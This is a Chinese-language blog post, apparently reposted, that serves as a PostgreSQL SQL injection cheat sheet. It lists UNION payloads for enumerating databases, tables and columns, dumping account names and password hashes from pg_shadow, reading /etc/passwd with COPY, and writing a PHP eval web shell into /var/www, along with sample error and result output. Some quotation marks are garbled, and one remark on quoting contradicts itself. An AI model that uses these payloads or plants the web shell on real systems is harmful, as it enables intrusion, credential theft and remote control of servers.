Postgresql注入語法指南

2021-09-30 17:11:43 字數 3397 閱讀 6283

copy from:

在注入中常用的幾個注入語法通常有這麼幾個:

–顯示版本

–從已知表段字段爆資料

–列庫–列資料庫中的表段

–列表段中的字段

–讀取配置資訊,例如資料庫登陸賬戶和密碼

–讀寫檔案

那我就乙個乙個來講這些postgresql的語法是怎樣的

–顯示版本

default

select version(); union select 1,2,...n,version()

select version();

union select 1,2,...n,version()

//version()函式與mysql的是一樣的

回顯資料舉例:

postgresql 8.1.18 on i686-redhat-linux-gnu, compiled by gcc gcc (gcc) 4.1.2 20080704 (red hat 4.1.2-46)

–從已知表段字段爆資料

default

select aa from bb where cc=dd; union select 1,2,....n,aa from bb where cc=dd

select aa from bb where cc=dd;

union select 1,2,....n,aa from bb where cc=dd

//所有的sql語法幾乎都是這樣的語法來爆資料

無舉例–列庫

default

select datname from pg_database; union select 1,2,....,n,datname from pg_database;

select datname from pg_database;

union select 1,2,....,n,datname from pg_database;

回顯舉例:

default

postgres,prc,template1,template0

postgres,prc,template1,template0

–列資料庫中的表段

default

select relname from pg_stat_user_tables limit 1 offset n;

select relname from pg_stat_user_tables limit 1 offset n;

//類似於mysql中的information_schema.tables,雖然不大恰當

default

union select relname from pg_stat_user_tables limit 1 offset 3;

union select relname from pg_stat_user_tables limit 1 offset 3;

//limit 1 offset 0和mysql的limit 0,1乙個效果。

無舉例–列表段中的字段

default

select column_name from information_schema.columns where table_name='***' limit 1 offset n; union select 1,2,.....,n,column_name from information_schema.columns where table_name=0x3a limit 1 offset 5

select column_name from information_schema.columns where table_name='***' limit 1 offset n;

union select 1,2,.....,n,column_name from information_schema.columns where table_name=0x3a limit 1 offset 5

//同mysql

–讀取配置資訊,例如資料庫登陸賬戶和密碼

default

select usename,passwd from pg_shadow; union select 1,2,...n,usename,passwd from pg_shadow

select usename,passwd from pg_shadow;

union select 1,2,...n,usename,passwd from pg_shadow

//pg_shadow資料庫類似於mysql中的mysql資料庫

root賬戶為postgres

回顯舉例:

postgres 9d2e7638fd7c7e433f0074a8f65cfd3a

–讀取檔案

copy test from 『/etc /passwd』with delimiter e』t』;

(注:網上多數關於postgresql的語句中是雙引號,實際測試,8.x到9.x雙引號無效,應該用雙引號)

回顯舉例:

query failed: error: extra data after last expected column context: copy file, line 1: 「root:x:0:0:root:/root:/bin/bash」

–寫入檔案

default

insert into test values ('<?php eval($_post["cmd"];?>'); copy test(code) to â/var/www/one.phpâ;

insert into test values ('<?php eval($_post["cmd"];?>');

copy test(code) to 」/var/www/one.php」;

回顯舉例:

query failed: error: could not open file 「/var/www/html/aaa.php」 for writing: permission denied

pg_file_read()不如mysql中的load_file()那麼好用

例如:default

select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));

select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));

則回顯:

query failed: error: function pg_file_length(「unknown」) does not exist hint: no function matches the given name and argument types. you may need to add explicit type casts.

postgresql我也不是特別熟,所以寫到這裡。

參考:

postgresql基本語法

1.注釋 結束標記 連線符 a.postgresql既然遵循sql語言,當然支援 注釋 b.postgresql支援 和 注釋,這點類似於mysql c.postgresql資料庫使用psql的時候,需要在命令後加上 分號 或者是 g來表示語句已經結束以執行查詢.d.postgresql是採用 符號...

postgresql注入和管理小記

author lengf posttime 2011 08 17 相信大家平時關注最多的是mysql和mssql,當然了oracle也已經備受關注。但是一些比較 少見 的資料庫,比如db2,postgresql,sybase ase,informix。如果不知道這些資料庫的特性就沒辦法談注入和管理了...

PostgreSQL資料庫的注入

目錄 postgresql postgresql常用查詢命令 布林盲注 錯誤注入 堆疊注入 時間盲注 聯合查詢 postgresql是一種特性非常齊全的自由軟體的物件 關係型資料庫管理系統 ordbms 4.2版本為基礎的物件關係型資料庫管理系統。postgresql安裝後,預設的埠是 5432,預...